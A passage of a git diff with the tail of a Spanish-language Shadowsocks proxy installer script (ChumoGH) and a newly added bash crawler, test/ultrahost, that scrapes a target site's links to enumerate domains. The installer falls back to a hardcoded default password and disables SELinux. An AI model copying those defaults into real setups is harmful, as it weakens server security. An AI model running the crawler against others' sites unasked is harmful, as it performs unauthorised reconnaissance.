firewalld looks like not running or not installed, please enable port ${shadowsocksport} manually if necessary." +fi +fi +} +config_shadowsocks(){ +if check_kernel_version && check_kernel_headers; then +fast_open="true" +else +fast_open="false" +fi +if [ "${selected}" == "1" ]; then +if [ ! -d "$(dirname ${shadowsocks_python_config})" ]; then +mkdir -p $(dirname ${shadowsocks_python_config}) +fi +cat > ${shadowsocks_python_config}<<-EOF +{ +"server":"0.0.0.0", +"server_port":${shadowsocksport}, +"local_address":"127.0.0.1", +"local_port":1080, +"password":"${shadowsockspwd}", +"timeout":300, +"method":"${shadowsockscipher}", +"fast_open":${fast_open} +} +EOF +elif [ "${selected}" == "2" ]; then +if [ ! -d "$(dirname ${shadowsocks_r_config})" ]; then +mkdir -p $(dirname ${shadowsocks_r_config}) +fi +cat > ${shadowsocks_r_config}<<-EOF +{ +"server":"0.0.0.0", +"server_ipv6":"::", +"server_port":${shadowsocksport}, +"local_address":"127.0.0.1", +"local_port":1080, +"password":"${shadowsockspwd}", +"timeout":120, +"method":"${shadowsockscipher}", +"protocol":"${shadowsockprotocol}", +"protocol_param":"", +"obfs":"${shadowsockobfs}", +"obfs_param":"", +"redirect":"", +"dns_ipv6":false, +"fast_open":${fast_open}, +"workers":1 +} +EOF +elif [ "${selected}" == "3" ]; then +if [ ! -d "$(dirname ${shadowsocks_go_config})" ]; then +mkdir -p $(dirname ${shadowsocks_go_config}) +fi +cat > ${shadowsocks_go_config}<<-EOF +{ +"server":"0.0.0.0", +"server_port":${shadowsocksport}, +"local_port":1080, +"password":"${shadowsockspwd}", +"method":"${shadowsockscipher}", +"timeout":300 +} +EOF +elif [ "${selected}" == "4" ]; then +local server_value="\"0.0.0.0\"" +if get_ipv6; then +server_value="[\"[::0]\",\"0.0.0.0\"]" +fi +if [ ! -d "$(dirname ${shadowsocks_libev_config})" ]; then +mkdir -p $(dirname ${shadowsocks_libev_config}) +fi +if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then +cat > ${shadowsocks_libev_config}<<-EOF +{ +"server":${server_value}, +"server_port":${shadowsocksport}, +"password":"${shadowsockspwd}", +"timeout":300, +"user":"nobody", +"method":"${shadowsockscipher}", +"fast_open":${fast_open}, +"nameserver":"8.8.8.8", +"mode":"tcp_and_udp", +"plugin":"obfs-server", +"plugin_opts":"obfs=${shadowsocklibev_obfs}" +} +EOF +else +cat > ${shadowsocks_libev_config}<<-EOF +{ +"server":${server_value}, +"server_port":${shadowsocksport}, +"password":"${shadowsockspwd}", +"timeout":300, +"user":"nobody", +"method":"${shadowsockscipher}", +"fast_open":${fast_open}, +"nameserver":"8.8.8.8", +"mode":"tcp_and_udp" +} +EOF +fi +fi +} +install_dependencies(){ +if check_sys packageManager yum; then +echo -e "[${green}Info${plain}] Checking the EPEL repository..." +if [ ! -f /etc/yum.repos.d/epel.repo ]; then +yum install -y epel-release > /dev/null 2>&1 +fi +[ ! -f /etc/yum.repos.d/epel.repo ] && echo -e "[${red}Error${plain}] Install EPEL repository failed, please check it." && exit 1 +[ ! "$(command -v yum-config-manager)" ] && yum install -y yum-utils > /dev/null 2>&1 +[ x"$(yum-config-manager epel | grep -w enabled | awk '{print $3}')" != x"True" ] && yum-config-manager --enable epel > /dev/null 2>&1 +echo -e "[${green}Info${plain}] Checking the EPEL repository complete..." +yum_depends=( +unzip gzip openssl openssl-devel gcc python python-devel python-setuptools pcre pcre-devel libtool libevent +autoconf automake make curl curl-devel zlib-devel perl perl-devel cpio expat-devel gettext-devel +libev-devel c-ares-devel git qrencode +) +for depend in ${yum_depends[@]}; do +error_detect_depends "yum -y install ${depend}" +done +elif check_sys packageManager apt; then +apt_depends=( +gettext build-essential unzip gzip python python-dev python-setuptools curl openssl libssl-dev +autoconf automake libtool gcc make perl cpio libpcre3 libpcre3-dev zlib1g-dev libev-dev libc-ares-dev git qrencode +) +apt-get -y update +for depend in ${apt_depends[@]}; do +error_detect_depends "apt-get -y install ${depend}" +done +fi +} +install_check(){ +if check_sys packageManager yum || check_sys packageManager apt; then +if centosversion 5; then +return 1 +fi +return 0 +else +return 1 +fi +} +install_select(){ +if ! install_check; then +echo -e "[${red}Error${plain}] Your OS is not supported to run it!" +echo "Please change to CentOS 6+/Debian 7+/Ubuntu 12+ and try again." +exit 1 +fi +clear +while true +do +echo "Cual servidor Shadowsocks quieres instalar (recomendado 4):" +for ((i=1;i<=${#software[@]};i++ )); do +hint="${software[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Escribe un numero (Default ${software[0]}):" selected +[ -z "${selected}" ] && selected="1" +case "${selected}" in +1|2|3|4) +echo +echo "Escogiste = ${software[${selected}-1]}" +echo +break +;; +*) +echo -e "[${red}Error${plain}] Por favor escribe un numero del [1-4]" +;; +esac +done +} +install_prepare_password(){ +echo "Escribe una contraseña ${software[${selected}-1]}" +read -p "(Default password: chumogh):" shadowsockspwd +[ -z "${shadowsockspwd}" ] && shadowsockspwd="chumogh" +echo +echo "password = ${shadowsockspwd}" +echo +} +install_prepare_port() { +while true +do +dport=$(shuf -i 9000-19999 -n 1) +echo -e "Por favor escribe un puerto ${software[${selected}-1]} [1-65535]" +read -p "(Default port: ${dport}):" shadowsocksport +[ -z "${shadowsocksport}" ] && shadowsocksport=${dport} +expr ${shadowsocksport} + 1 &>/dev/null +if [ $? -eq 0 ]; then +if [ ${shadowsocksport} -ge 1 ] && [ ${shadowsocksport} -le 65535 ] && [ ${shadowsocksport:0:1} != 0 ]; then +echo +echo "port = ${shadowsocksport}" +echo +break +fi +fi +echo -e "[${red}Error${plain}] Por favor escribe un numero entre [1-65535]" +done +} +install_prepare_cipher(){ +while true +do +echo -e "Escribe el tipo de encriptacion ${software[${selected}-1]}:" +if [[ "${selected}" == "1" || "${selected}" == "4" ]]; then +for ((i=1;i<=${#common_ciphers[@]};i++ )); do +hint="${common_ciphers[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Encriptacion(Default: ${common_ciphers[0]}):" pick +[ -z "$pick" ] && pick=1 +expr ${pick} + 1 &>/dev/null +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero" +continue +fi +if [[ "$pick" -lt 1 || "$pick" -gt ${#common_ciphers[@]} ]]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero entre 1 y ${#common_ciphers[@]}" +continue +fi +shadowsockscipher=${common_ciphers[$pick-1]} +elif [ "${selected}" == "2" ]; then +for ((i=1;i<=${#r_ciphers[@]};i++ )); do +hint="${r_ciphers[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Encriptacion(Default: ${r_ciphers[1]}):" pick +[ -z "$pick" ] && pick=2 +expr ${pick} + 1 &>/dev/null +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero" +continue +fi +if [[ "$pick" -lt 1 || "$pick" -gt ${#r_ciphers[@]} ]]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero entre 1 y ${#r_ciphers[@]}" +continue +fi +shadowsockscipher=${r_ciphers[$pick-1]} +elif [ "${selected}" == "3" ]; then +for ((i=1;i<=${#go_ciphers[@]};i++ )); do +hint="${go_ciphers[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Encriptacion(Default: ${go_ciphers[0]}):" pick +[ -z "$pick" ] && pick=1 +expr ${pick} + 1 &>/dev/null +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero" +continue +fi +if [[ "$pick" -lt 1 || "$pick" -gt ${#go_ciphers[@]} ]]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero entre 1 y ${#go_ciphers[@]}" +continue +fi +shadowsockscipher=${go_ciphers[$pick-1]} +fi +echo +echo "cipher = ${shadowsockscipher}" +echo +break +done +} +install_prepare_protocol(){ +while true +do +echo -e "Escoge un protocolo ${software[${selected}-1]}:" +for ((i=1;i<=${#protocols[@]};i++ )); do +hint="${protocols[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Protocolo(Default: ${protocols[0]}):" protocol +[ -z "$protocol" ] && protocol=1 +expr ${protocol} + 1 &>/dev/null +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero" +continue +fi +if [[ "$protocol" -lt 1 || "$protocol" -gt ${#protocols[@]} ]]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero entre 1 y ${#protocols[@]}" +continue +fi +shadowsockprotocol=${protocols[$protocol-1]} +echo +echo "protocol = ${shadowsockprotocol}" +echo +break +done +} +install_prepare_obfs(){ +while true +do +echo -e "Please select obfs for ${software[${selected}-1]}:" +for ((i=1;i<=${#obfs[@]};i++ )); do +hint="${obfs[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Obfs(Default: ${obfs[0]}):" r_obfs +[ -z "$r_obfs" ] && r_obfs=1 +expr ${r_obfs} + 1 &>/dev/null +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero" +continue +fi +if [[ "$r_obfs" -lt 1 || "$r_obfs" -gt ${#obfs[@]} ]]; then +echo -e "[${red}Error${plain}] Por favor escoge un numero entre 1 y ${#obfs[@]}" +continue +fi +shadowsockobfs=${obfs[$r_obfs-1]} +echo +echo "obfs = ${shadowsockobfs}" +echo +break +done +} +install_prepare_libev_obfs(){ +if autoconf_version || centosversion 6; then +while true +do +echo -e "Quieres instalar simple-obfs para ${software[${selected}-1]}? [y/n]" +read -p "(default: n):" libev_obfs +[ -z "$libev_obfs" ] && libev_obfs=n +case "${libev_obfs}" in +y|Y|n|N) +echo +echo "Escogiste = ${libev_obfs}" +echo +break +;; +*) +echo -e "[${red}Error${plain}] Por favor solo escribe [y/n]" +;; +esac +done +if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then +while true +do +echo -e "Por favor selecciona el simple-obfs:" +for ((i=1;i<=${#obfs_libev[@]};i++ )); do +hint="${obfs_libev[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Obfs(Default: ${obfs_libev[0]}):" r_libev_obfs +[ -z "$r_libev_obfs" ] && r_libev_obfs=1 +expr ${r_libev_obfs} + 1 &>/dev/null +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero" +continue +fi +if [[ "$r_libev_obfs" -lt 1 || "$r_libev_obfs" -gt ${#obfs_libev[@]} ]]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero entre 1 y ${#obfs_libev[@]}" +continue +fi +shadowsocklibev_obfs=${obfs_libev[$r_libev_obfs-1]} +echo +echo "obfs = ${shadowsocklibev_obfs}" +echo +break +done +fi +else +echo -e "[${green}Info${plain}] autoconf version is less than 2.67, simple-obfs for ${software[${selected}-1]} installation has been skipped" +fi +} +install_prepare(){ +if [[ "${selected}" == "1" || "${selected}" == "3" || "${selected}" == "4" ]]; then +install_prepare_password +install_prepare_port +install_prepare_cipher +if [ "${selected}" == "4" ]; then +install_prepare_libev_obfs +fi +elif [ "${selected}" == "2" ]; then +install_prepare_password +install_prepare_port +install_prepare_cipher +install_prepare_protocol +install_prepare_obfs +fi +echo +echo "Presiona cualquier tecla para continuar...o Presiona Ctrl+C para cancelar" +char=`get_char` +} +install_libsodium(){ +if [ ! -f /usr/lib/libsodium.a ]; then +cd ${cur_dir} +download "${libsodium_file}.tar.gz" "${libsodium_url}" +tar zxf ${libsodium_file}.tar.gz +cd ${libsodium_file} +./configure --prefix=/usr && make && make install +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] ${libsodium_file} install failed." +install_cleanup +exit 1 +fi +else +echo -e "[${green}Info${plain}] ${libsodium_file} already installed." +fi +} +install_mbedtls(){ +if [ ! -f /usr/lib/libmbedtls.a ]; then +cd ${cur_dir} +download "${mbedtls_file}-gpl.tgz" "${mbedtls_url}" +tar xf ${mbedtls_file}-gpl.tgz +cd ${mbedtls_file} +make SHARED=1 CFLAGS=-fPIC +make DESTDIR=/usr install +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] ${mbedtls_file} install failed." +install_cleanup +exit 1 +fi +else +echo -e "[${green}Info${plain}] ${mbedtls_file} already installed." +fi +} +install_shadowsocks_python(){ +cd ${cur_dir} +unzip -q ${shadowsocks_python_file}.zip +if [ $? -ne 0 ];then +echo -e "[${red}Error${plain}] unzip ${shadowsocks_python_file}.zip failed, please check unzip command." +install_cleanup +exit 1 +fi +cd ${shadowsocks_python_file} +python setup.py install --record /usr/local/shadowsocks_python.log +if [ -f /usr/bin/ssserver ] || [ -f /usr/local/bin/ssserver ]; then +chmod +x ${shadowsocks_python_init} +local service_name=$(basename ${shadowsocks_python_init}) +if check_sys packageManager yum; then +chkconfig --add ${service_name} +chkconfig ${service_name} on +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} defaults +fi +else +echo +echo -e "[${red}Error${plain}] ${software[0]} install failed." +install_cleanup +exit 1 +fi +} +install_shadowsocks_r(){ +cd ${cur_dir} +tar zxf ${shadowsocks_r_file}.tar.gz +mv ${shadowsocks_r_file}/shadowsocks /usr/local/ +if [ -f /usr/local/shadowsocks/server.py ]; then +chmod +x ${shadowsocks_r_init} +local service_name=$(basename ${shadowsocks_r_init}) +if check_sys packageManager yum; then +chkconfig --add ${service_name} +chkconfig ${service_name} on +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} defaults +fi +else +echo +echo -e "[${red}Error${plain}] ${software[1]} install failed." +install_cleanup +exit 1 +fi +} +install_shadowsocks_go(){ +cd ${cur_dir} +if is_64bit; then +gzip -d ${shadowsocks_go_file_64}.gz +if [ $? -ne 0 ];then +echo -e "[${red}Error${plain}] Decompress ${shadowsocks_go_file_64}.gz failed." +install_cleanup +exit 1 +fi +mv -f ${shadowsocks_go_file_64} /usr/bin/shadowsocks-server +else +gzip -d ${shadowsocks_go_file_32}.gz +if [ $? -ne 0 ];then +echo -e "[${red}Error${plain}] Decompress ${shadowsocks_go_file_32}.gz failed." +install_cleanup +exit 1 +fi +mv -f ${shadowsocks_go_file_32} /usr/bin/shadowsocks-server +fi +if [ -f /usr/bin/shadowsocks-server ]; then +chmod +x /usr/bin/shadowsocks-server +chmod +x ${shadowsocks_go_init} +local service_name=$(basename ${shadowsocks_go_init}) +if check_sys packageManager yum; then +chkconfig --add ${service_name} +chkconfig ${service_name} on +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} defaults +fi +else +echo +echo -e "[${red}Error${plain}] ${software[2]} install failed." +install_cleanup +exit 1 +fi +} +install_shadowsocks_libev(){ +cd ${cur_dir} +tar zxf ${shadowsocks_libev_file}.tar.gz +cd ${shadowsocks_libev_file} +./configure --disable-documentation && make && make install +if [ $? -eq 0 ]; then +chmod +x ${shadowsocks_libev_init} +local service_name=$(basename ${shadowsocks_libev_init}) +if check_sys packageManager yum; then +chkconfig --add ${service_name} +chkconfig ${service_name} on +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} defaults +fi +else +echo +echo -e "[${red}Error${plain}] ${software[3]} install failed." +install_cleanup +exit 1 +fi +} +install_shadowsocks_libev_obfs(){ +if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then +cd ${cur_dir} +git clone https://github.com/shadowsocks/simple-obfs.git +[ -d simple-obfs ] && cd simple-obfs || echo -e "[${red}Error:${plain}] Failed to git clone simple-obfs." +git submodule update --init --recursive +if centosversion 6; then +if [ ! "$(command -v autoconf268)" ]; then +echo -e "[${green}Info${plain}] Starting install autoconf268..." +yum install -y autoconf268 > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Failed to install autoconf268." +fi +sed -i 's/autoreconf/autoreconf268/' autogen.sh +sed -i 's@^#include @#include @' src/local.h +sed -i 's@^#include @#include @' src/server.h +fi +./autogen.sh +./configure --disable-documentation +make +make install +if [ ! "$(command -v obfs-server)" ]; then +echo -e "[${red}Error${plain}] simple-obfs for ${software[${selected}-1]} install failed." +install_cleanup +exit 1 +fi +[ -f /usr/local/bin/obfs-server ] && ln -s /usr/local/bin/obfs-server /usr/bin +fi +} +install_completed_python(){ +clear +${shadowsocks_python_init} start +echo +echo -e "Felicidades, ${green}${software[0]}${plain} server install completed!" +echo -e "IP : ${red} $(get_ip) ${plain}" +echo -e "Port : ${red} ${shadowsocksport} ${plain}" +echo -e "Password : ${red} ${shadowsockspwd} ${plain}" +echo -e "Metodo de Encriptacion: ${red} ${shadowsockscipher} ${plain}" +} +install_completed_r(){ +clear +${shadowsocks_r_init} start +echo +echo -e "Felicidades, ${green}${software[1]}${plain} server install completed!" +echo -e "IP : ${red} $(get_ip) ${plain}" +echo -e "Port : ${red} ${shadowsocksport} ${plain}" +echo -e "Password : ${red} ${shadowsockspwd} ${plain}" +echo -e "Protocol : ${red} ${shadowsockprotocol} ${plain}" +echo -e "Obfs : ${red} ${shadowsockobfs} ${plain}" +echo -e "Metodo de Encriptacion: ${red} ${shadowsockscipher} ${plain}" +} +install_completed_go(){ +clear +${shadowsocks_go_init} start +echo +echo -e "Felicidades, ${green}${software[2]}${plain} server install completed!" +echo -e "IP : ${red} $(get_ip) ${plain}" +echo -e "Port : ${red} ${shadowsocksport} ${plain}" +echo -e "Password : ${red} ${shadowsockspwd} ${plain}" +echo -e "Metodo de Encriptacion: ${red} ${shadowsockscipher} ${plain}" +} +install_completed_libev(){ +clear +ldconfig +${shadowsocks_libev_init} start +echo +echo -e "Felicidades, ${green}${software[3]}${plain} instalacion completada!" +echo -e "IP : ${red} $(get_ip) ${plain}" +echo -e "Port : ${red} ${shadowsocksport} ${plain}" +echo -e "Password : ${red} ${shadowsockspwd} ${plain}" +if [ "$(command -v obfs-server)" ]; then +echo -e "Obfs : ${red} ${shadowsocklibev_obfs} ${plain}" +fi +echo -e "Metodo de Encriptacion: ${red} ${shadowsockscipher} ${plain}" +} +qr_generate_python(){ +if [ "$(command -v qrencode)" ]; then +local tmp=$(echo -n "${shadowsockscipher}:${shadowsockspwd}@$(get_ip):${shadowsocksport}" | base64 -w0) +local qr_code="ss://${tmp}" +echo +echo "Codigo QR: (Para Shadowsocks Windows, OSX, Android y iOS)" +echo -e "${green} ${qr_code} ${plain}" +echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_python_qr.png +echo "Tu codigo QR fue guardado en la siguiente direccion:" +echo -e "${green} ${cur_dir}/shadowsocks_python_qr.png ${plain}" +fi +} +qr_generate_r(){ +if [ "$(command -v qrencode)" ]; then +local tmp1=$(echo -n "${shadowsockspwd}" | base64 -w0 | sed 's/=//g;s/\//_/g;s/+/-/g') +local tmp2=$(echo -n "$(get_ip):${shadowsocksport}:${shadowsockprotocol}:${shadowsockscipher}:${shadowsockobfs}:${tmp1}/?obfsparam=" | base64 -w0) +local qr_code="ssr://${tmp2}" +echo +echo "Codigo QR: (Para ShadowsocksR Windows, Android)" +echo -e "${green} ${qr_code} ${plain}" +echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_r_qr.png +echo "Tu codigo QR fue guardado en la siguiente direccion como PNG:" +echo -e "${green} ${cur_dir}/shadowsocks_r_qr.png ${plain}" +fi +} +qr_generate_go(){ +if [ "$(command -v qrencode)" ]; then +local tmp=$(echo -n "${shadowsockscipher}:${shadowsockspwd}@$(get_ip):${shadowsocksport}" | base64 -w0) +local qr_code="ss://${tmp}" +echo +echo "Codigo QR: (Para Shadowsocks Windows, OSX, Android y iOS)" +echo -e "${green} ${qr_code} ${plain}" +echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_go_qr.png +echo "Tu codigo QR fue guardado en la siguiente direccion como PNG:" +echo -e "${green} ${cur_dir}/shadowsocks_go_qr.png ${plain}" +fi +} +qr_generate_libev(){ +if [ "$(command -v qrencode)" ]; then +local tmp=$(echo -n "${shadowsockscipher}:${shadowsockspwd}@$(get_ip):${shadowsocksport}" | base64 -w0) +local qr_code="ss://${tmp}" +echo +echo "Codigo QR: (Para Shadowsocks Windows, OSX, Android y iOS)" +echo -e "${green} ${qr_code} ${plain}" +echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_libev_qr.png +echo "Tu codigo QR fue guardado en la siguiente direccion como PNG:" +echo -e "${green} ${cur_dir}/shadowsocks_libev_qr.png ${plain}" +fi +} +install_main(){ +install_libsodium +if ! ldconfig -p | grep -wq "/usr/lib"; then +echo "/usr/lib" > /etc/ld.so.conf.d/lib.conf +fi +ldconfig +if [ "${selected}" == "1" ]; then +install_shadowsocks_python +install_completed_python +qr_generate_python +elif [ "${selected}" == "2" ]; then +install_shadowsocks_r +install_completed_r +qr_generate_r +elif [ "${selected}" == "3" ]; then +install_shadowsocks_go +install_completed_go +qr_generate_go +elif [ "${selected}" == "4" ]; then +install_mbedtls +install_shadowsocks_libev +install_shadowsocks_libev_obfs +install_completed_libev +qr_generate_libev +fi +echo +echo "ChumoGH - Shadowsocks" +echo "t.me/ChumoGH" +echo +} +install_cleanup(){ +cd ${cur_dir} +rm -rf simple-obfs +rm -rf ${libsodium_file} ${libsodium_file}.tar.gz +rm -rf ${mbedtls_file} ${mbedtls_file}-gpl.tgz +rm -rf ${shadowsocks_python_file} ${shadowsocks_python_file}.zip +rm -rf ${shadowsocks_r_file} ${shadowsocks_r_file}.tar.gz +rm -rf ${shadowsocks_go_file_64}.gz ${shadowsocks_go_file_32}.gz +rm -rf ${shadowsocks_libev_file} ${shadowsocks_libev_file}.tar.gz +} +install_shadowsocks(){ +disable_selinux +install_select +install_prepare +install_dependencies +download_files +config_shadowsocks +if check_sys packageManager yum; then +config_firewall +fi +install_main +install_cleanup +} +uninstall_shadowsocks_python(){ +printf "Estas seguro que quieres desinstalar ${red}${software[0]}${plain}? [y/n]\n" +read -p "(default: n):" answer +[ -z ${answer} ] && answer="n" +if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then +${shadowsocks_python_init} status > /dev/null 2>&1 +if [ $? -eq 0 ]; then +${shadowsocks_python_init} stop +fi +local service_name=$(basename ${shadowsocks_python_init}) +if check_sys packageManager yum; then +chkconfig --del ${service_name} +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} remove +fi +rm -fr $(dirname ${shadowsocks_python_config}) +rm -f ${shadowsocks_python_init} +rm -f /var/log/shadowsocks.log +if [ -f /usr/local/shadowsocks_python.log ]; then +cat /usr/local/shadowsocks_python.log | xargs rm -rf +rm -f /usr/local/shadowsocks_python.log +fi +echo -e "[${green}Info${plain}] ${software[0]} desinstalacion exitosa" +else +echo +echo -e "[${green}Info${plain}] ${software[0]} desinstalacion cancelada..." +echo +fi +} +uninstall_shadowsocks_r(){ +printf "Estas seguro que quieres desinstalar ${red}${software[1]}${plain}? [y/n]\n" +read -p "(default: n):" answer +[ -z ${answer} ] && answer="n" +if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then +${shadowsocks_r_init} status > /dev/null 2>&1 +if [ $? -eq 0 ]; then +${shadowsocks_r_init} stop +fi +local service_name=$(basename ${shadowsocks_r_init}) +if check_sys packageManager yum; then +chkconfig --del ${service_name} +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} remove +fi +rm -fr $(dirname ${shadowsocks_r_config}) +rm -f ${shadowsocks_r_init} +rm -f /var/log/shadowsocks.log +rm -fr /usr/local/shadowsocks +echo -e "[${green}Info${plain}] ${software[1]} Desinstalacion exitosa" +else +echo +echo -e "[${green}Info${plain}] ${software[1]} Desinstalacion cancelada..." +echo +fi +} +uninstall_shadowsocks_go(){ +printf "Estas seguro que quieres desinstalar ${red}${software[2]}${plain}? [y/n]\n" +read -p "(default: n):" answer +[ -z ${answer} ] && answer="n" +if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then +${shadowsocks_go_init} status > /dev/null 2>&1 +if [ $? -eq 0 ]; then +${shadowsocks_go_init} stop +fi +local service_name=$(basename ${shadowsocks_go_init}) +if check_sys packageManager yum; then +chkconfig --del ${service_name} +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} remove +fi +rm -fr $(dirname ${shadowsocks_go_config}) +rm -f ${shadowsocks_go_init} +rm -f /usr/bin/shadowsocks-server +echo -e "[${green}Info${plain}] ${software[2]} desinstalacion exitosa" +else +echo +echo -e "[${green}Info${plain}] ${software[2]} desinstalacion cancelada..." +echo +fi +} +uninstall_shadowsocks_libev(){ +printf "Estas seguro que quieres desinstalar ${red}${software[3]}${plain}? [y/n]\n" +read -p "(default: n):" answer +[ -z ${answer} ] && answer="n" +if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then +${shadowsocks_libev_init} status > /dev/null 2>&1 +if [ $? -eq 0 ]; then +${shadowsocks_libev_init} stop +fi +local service_name=$(basename ${shadowsocks_libev_init}) +if check_sys packageManager yum; then +chkconfig --del ${service_name} +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} remove +fi +rm -fr $(dirname ${shadowsocks_libev_config}) +rm -f /usr/local/bin/ss-local +rm -f /usr/local/bin/ss-tunnel +rm -f /usr/local/bin/ss-server +rm -f /usr/local/bin/ss-manager +rm -f /usr/local/bin/ss-redir +rm -f /usr/local/bin/ss-nat +rm -f /usr/local/bin/obfs-local +rm -f /usr/local/bin/obfs-server +rm -f /usr/local/lib/libshadowsocks-libev.a +rm -f /usr/local/lib/libshadowsocks-libev.la +rm -f /usr/local/include/shadowsocks.h +rm -f /usr/local/lib/pkgconfig/shadowsocks-libev.pc +rm -f /usr/local/share/man/man1/ss-local.1 +rm -f /usr/local/share/man/man1/ss-tunnel.1 +rm -f /usr/local/share/man/man1/ss-server.1 +rm -f /usr/local/share/man/man1/ss-manager.1 +rm -f /usr/local/share/man/man1/ss-redir.1 +rm -f /usr/local/share/man/man1/ss-nat.1 +rm -f /usr/local/share/man/man8/shadowsocks-libev.8 +rm -fr /usr/local/share/doc/shadowsocks-libev +rm -f ${shadowsocks_libev_init} +echo -e "[${green}Info${plain}] ${software[3]} desinstalacion exitosa" +else +echo +echo -e "[${green}Info${plain}] ${software[3]} desinstalacion cancelada..." +echo +fi +} +uninstall_shadowsocks(){ +while true +do +echo "Cual servidor Shadowsocks quieres desinstalar?" +for ((i=1;i<=${#software[@]};i++ )); do +hint="${software[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Escoge un numero [1-4]:" un_select +case "${un_select}" in +1|2|3|4) +echo +echo "Escogiste = ${software[${un_select}-1]}" +echo +break +;; +*) +echo -e "[${red}Error${plain}] escoge un numero [1-4]" +;; +esac +done +if [ "${un_select}" == "1" ]; then +if [ -f ${shadowsocks_python_init} ]; then +uninstall_shadowsocks_python +else +echo -e "[${red}Error${plain}] ${software[${un_select}-1]} no instalado, por favor verifica e intenta de nuevo." +echo +exit 1 +fi +elif [ "${un_select}" == "2" ]; then +if [ -f ${shadowsocks_r_init} ]; then +uninstall_shadowsocks_r +else +echo -e "[${red}Error${plain}] ${software[${un_select}-1]} no instalado, por favor verifica e intenta de nuevo." +echo +exit 1 +fi +elif [ "${un_select}" == "3" ]; then +if [ -f ${shadowsocks_go_init} ]; then +uninstall_shadowsocks_go +else +echo -e "[${red}Error${plain}] ${software[${un_select}-1]} no instalado, por favor verifica e intenta de nuevo." +echo +exit 1 +fi +elif [ "${un_select}" == "4" ]; then +if [ -f ${shadowsocks_libev_init} ]; then +uninstall_shadowsocks_libev +else +echo -e "[${red}Error${plain}] ${software[${un_select}-1]} no instalado, por favor verifica e intenta de nuevo." +echo +exit 1 +fi +fi +} +action=$1 +[ -z $1 ] && action=install +case "${action}" in +install|uninstall) +${action}_shadowsocks +;; +*) +echo "Arguments error! [${action}]" +echo "Usage: $(basename $0) [install|uninstall]" +;; +esac diff --git a/test/ultrahost b/test/ultrahost new file mode 100644 index 0000000..b928137 --- /dev/null +++ b/test/ultrahost @@ -0,0 +1,81 @@ +#!/bin/bash + +subdom () { +SUBDOM="$1" +[[ "$SUBDOM" = "" ]] && return +randomize="$RANDOM" + for sites in `cat $log`; do + [[ $(echo ${DNS[@]}|grep $sites) = "" ]] && DNS+=($sites) + [[ $(echo ${DNS[@]}|grep $sites) != "" ]] && cat $log|grep -v "$sites" > $log + done + while true; do + [[ "$(pidof lynx | wc -w)" -lt "20" ]] && break + done + ( + HOST[$randomize]="$SUBDOM" + curl -sSL "${HOST[$randomize]}"|grep -Eoi ']+>'|grep -Eo 'href="[^\"]+"'|grep -Eo '(http|https)://[a-zA-Z0-9./*]+'|sort -u|awk -F "://" '{print $2}' >> $log + ) > /dev/null 2>&1 & +} + +iniciar () { +SUB_DOM=$1 +limite=$2 +[[ ${SUB_DOM} = "" ]] && read -p "Site Alvo: " SUB_DOM +[[ ${limite} = "" ]] && limite="300" +#CRIA LOG +log="./loog" && touch $log +#INICIA PRIMEIRA BUSCA +_DOM=$(curl -sSL "$SUB_DOM"|grep -Eoi ']+>'|grep -Eo 'href="[^\"]+"'|grep -Eo '(http|https)://[a-zA-Z0-9./*]+'|sort -u|awk -F "://" '{print $2}') + for _DOMS in `echo $_DOM`; do + [[ $(echo ${DNS[@]}|grep ${_DOMS}) = "" ]] && DNS+=(${_DOMS}) + done +#INICIA THREADS +i=0 +while true; do +DOMAIN=$(echo "${DNS[$i]}") +[[ $DOMAIN = "" ]] && break + if [[ $(echo -e "${PESQ[@]}"|grep "$DOMAIN") = "" ]]; then + subdom "$DOMAIN" + echo -e "\033[1;31m(Scan\033[1;32m $((${#PESQ[@]}+1))\033[1;31m de \033[1;32m${#DNS[@]}\033[1;31m) - Escaneando ---> \033[1;36mhttp://$DOMAIN\033[1;37m" + PESQ+=($DOMAIN) + fi +[[ "$(echo ${#DNS[@]})" -gt "$limite" ]] && break +i=$(($i+1)) +sleep 1s +done +rm $log +echo -e "\033[1;31m====================================\n\033[1;32mScan Finalizado!, 